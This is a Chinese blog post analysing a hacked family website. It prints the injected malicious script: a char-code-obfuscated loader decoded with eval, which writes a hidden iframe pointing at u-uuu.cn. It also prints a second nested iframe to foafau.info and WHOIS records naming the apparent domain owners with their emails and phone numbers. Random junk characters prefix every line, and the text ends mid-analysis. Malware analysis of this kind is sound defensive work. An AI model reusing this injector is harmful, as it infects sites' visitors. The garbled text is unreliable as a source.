首发在我的博客里面，
ht2
f-EKf{ j.<:00< http://www.areway.cn/?p=175 Fq vQk G(:s-x ig6 f3/SO+Me} 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;R/k2^uF :!(YEF#} <script>t=’60,105,102,114,97,109,101,
2T//%ys= 32,115,114,99,61,104,116,116,112,58,47,47,
g8 LT 7 102,114,101,101,46,117,45,117,117,117,46,99,
UCe ,2v% 110,47,101,114,114,111,114,46,104,116,109,
LKIW*M 32,119,105,100,116,104,61,49,48,48,32,104,
&7$,< 9. 101,105,103,104,116,61,48,62,60,47,105,102,
+8Of-ZUx 114,97,109,101,62′;
c:3@ [nF~ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
BP wI8\V #L_@s
d <script>t=’60,105,102,114,97,109,101,32,115,
17WNJ 114,99,61,104,116,116,112,58,47,47,102,114,
\Y51KB\ 101,101,46,117,45,117,117,117,46,99,110,47,
G /NT e 101,114,114,111,114,46,104,116,109,32,119,
N|UBaPS|o 105,100,116,104,61,49,48,48,32,104,101,105,
hq5NQi`
% 103,104,116,61,48,62,60,47,105,102,114,97,
3Dx Z#/! 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
{z.[tvE8h document.write(t);</script>
;[;)P tFz\ 4}. WhE|h <html xmlns=”
>W>##vK http://www.w3.org/1999/xhtml \Pw8wayr% “>
zj~8>QnKk <head>
I(z>)S'7r <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
aSn0o_4bD <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
rF Ko E% <title>首页 - 爱生活家庭网
(! xg$Kz@ 5u'Tm LuKT 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
{D;Xa`:O 转换字符串后的大概内容是（谁点击后果自付）：
OT-n \sL$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
:*mA,2s cEDDO&u 查询玉米u-uuu.cn的详细信息：
DCEvr " ( Domain Name: u-uuu.cn
skk-.9 ROID: 20070901s10001s64972306-cn
c'4>D,?1 Domain Status: ok
$w|o@ Ml) Registrant Organization: 王雷
aD m-X r Registrant Name: 王雷
*4(/t$)pEl Administrative Email:
czlovexs@126.com T^ /Gj|N* Sponsoring Registrar: 北京万网志成科技有限公司
MILIu;[{#r Name Server:ns.yovole.com
4q\.I +r^ Name Server:ns1.yovole.com
P`\ m9"7 Registration Date: 2007-09-01 17:54
J o6~r- Expiration Date: 2008-09-01 17:54
Fy}MXe"f 最后PING了一下地址 都没有什么….
vDu0 t]
n(5!L( 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
r[.zLXgK <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
uznoyj6g <script language=”javascript” src=”
J{nyo1A http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script pr0@sri@ >
/E`l:&89) 这个玉米应该有可能是木马作者的：
AIvL#12 foafau.info的详细信息：
,om p F$% Access to INFO WHOIS information is provided to assist persons in
<.PPs:{8# determining the contents of a domain name registration record in the
L Q I: ]d Afilias registry database. The data in this record is provided by
QOkE\ro Afilias Limited for informational purposes only, and Afilias does not
cCo07R guarantee its accuracy. This service is intended only for query-based
AmT| %j&3 access. You agree that you will use this data only for lawful purposes
Rxvd+8FF and that, under no circumstances will you use this data to: (a) allow,
{ Y3_I\H8{ enable, or otherwise support the transmission by e-mail, telephone, or
U / 1[~429 facsimile of mass unsolicited, commercial advertising or solicitations
EzD
-1sJ to entities other than the data recipient’s own existing customers; or
YLA557~ (b) enable high volume, automated, electronic processes that send
<FUqD0sQ queries or data to the systems of Registry Operator, a Registrar, or
j61BP8E Afilias except as reasonably necessary to register domain names or
1jUhG2y modify existing registrations. All rights reserved. Afilias reserves
PBxK>a the right to modify these terms at any time. By submitting this query,
48 c
D3w you agree to abide by this policy.
w-0O j Domain ID:D22418703-LRMS
_SBp6 6
r Domain Name:FOAFAU.INFO
.R$+#_ Created On:20-Nov-2007 16:05:42 UTC
!^>LOH>j Last Updated On:20-Nov-2007 16:05:44 UTC
? B HWzo! Expiration Date:20-Nov-2008 16:05:42 UTC
;+r ) j"W Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
in=k:j,U0 Status:CLIENT DELETE PROHIBITED
DJ
mQZ+{2 Status:CLIENT RENEW PROHIBITED
.gM>FUH3L Status:CLIENT TRANSFER PROHIBITED
Q
!RVD*( Status:CLIENT UPDATE PROHIBITED
Du O%B Status:TRANSFER PROHIBITED
u/!mN2{Rd Registrant ID:GODA-040110615
9Th32}H Registrant Name:liu hong
7U{b+=,wK Registrant Organization:
L5zG0mC8 Registrant Street1:beijing
:kp Registrant Street2:
5,0 wj0l Registrant Street3:
hd sgOu Registrant City:beijing
AjL?Qh4 Registrant State/Province:
JL.yd H79 Registrant Postal Code:100000
MUCJ/GF* Registrant Country:CN
7+D'W 7Yx Registrant Phone:+86.860108888777
M k'n~.mb Registrant Phone Ext.:
T4H oSei Registrant FAX:
skR, M=F~ Registrant FAX Ext.:
q5I4'6NF Registrant Email:bbbshiji@163.com
Eis%)oE
Admin ID:GODA-240110615
H4y1Hpa, Admin Name:liu hong
(AM,4)lW, Admin Organization:
ohc/.5Kl Admin Street1:beijing
_A)_K;cz Admin Street2:
*xv /b= Admin Street3:
XD+cs.{5 Admin City:beijing
$@u^Jt, ? Admin State/Province:
MOqA$b Admin Postal Code:100000
+}(B856+ Admin Country:CN
S,`Sq8H Admin Phone:+86.860108888777
+3o)L?: g Admin Phone Ext.:
?2<6#>(7a Admin FAX:
tRUs Zl Admin FAX Ext.:
RZV1:hNN Admin Email:bbbshiji@163.com
c> U{,z Billing ID:GODA-340110615
!aW*dD61 Billing Name:liu hong
f<> YYeY Billing Organization:
'#4mDz~ Billing Street1:beijing
XJxs4a1[t Billing Street2:
Y%CL@G60 Billing Street3:
UB&S 2 g Billing City:beijing
$p6Xa;j$ 9 Billing State/Province:
#Lxj
) Billing Postal Code:100000
#Rm=Em}d Billing Country:CN
Y^jnlS)h Billing Phone:+86.860108888777
9Pob|UA Billing Phone Ext.:
L$u&~"z- Billing FAX:
/<?X-IDz.{ Billing FAX Ext.:
[-Dgo1}Qr Billing Email:bbbshiji@163.com
d T,m {[+ Tech ID:GODA-140110615
3Ibt'$dK Tech Name:liu hong
X_s G6Q@ Tech Organization:
<1g 1hqK3 Tech Street1:beijing
FU qhSW Tech Street2:
0Li'a{n 2 Tech Street3:
:AE ;x& Tech City:beijing
W'2-3J Tech State/Province:
z7Rcnr; Tech Postal Code:100000
l3 pW{p Tech Country:CN
v$Y1+Ep9 Tech Phone:+86.860108888777
%}]4Nsd e Tech Phone Ext.:
}Mb'tGW Tech FAX:
N13; hB< Tech FAX Ext.:
hzPB~obC Tech Email:bbbshiji@163.com
_~S^#ut+ Name Server:NS27.DOMAINCONTROL.COM
.Qi1I Name Server:NS28.DOMAINCONTROL.COM
p|9ECdU>; Name Server:
E5[]eg~w%{ Name Server:
sv{0XVn+^ Name Server:
iJKm27 "> Name Server:
X @jYQ. Name Server:
! lN a` Name Server:
>
%cWTC Name Server:
v^18o$=K", Name Server:
DdS3<3]A Name Server:
dR, NC-* Name Server:
- 2na::<K Name Server:
m6Cd^'J9^ wZ3 vF)2s 接着下载每个文件里面的代码：
xE-`B b 一步一步看..
'S D|ObBY 
Ty4%du6 ?d 
;7`um 
=|V]8 tN 
E0B 2>V 
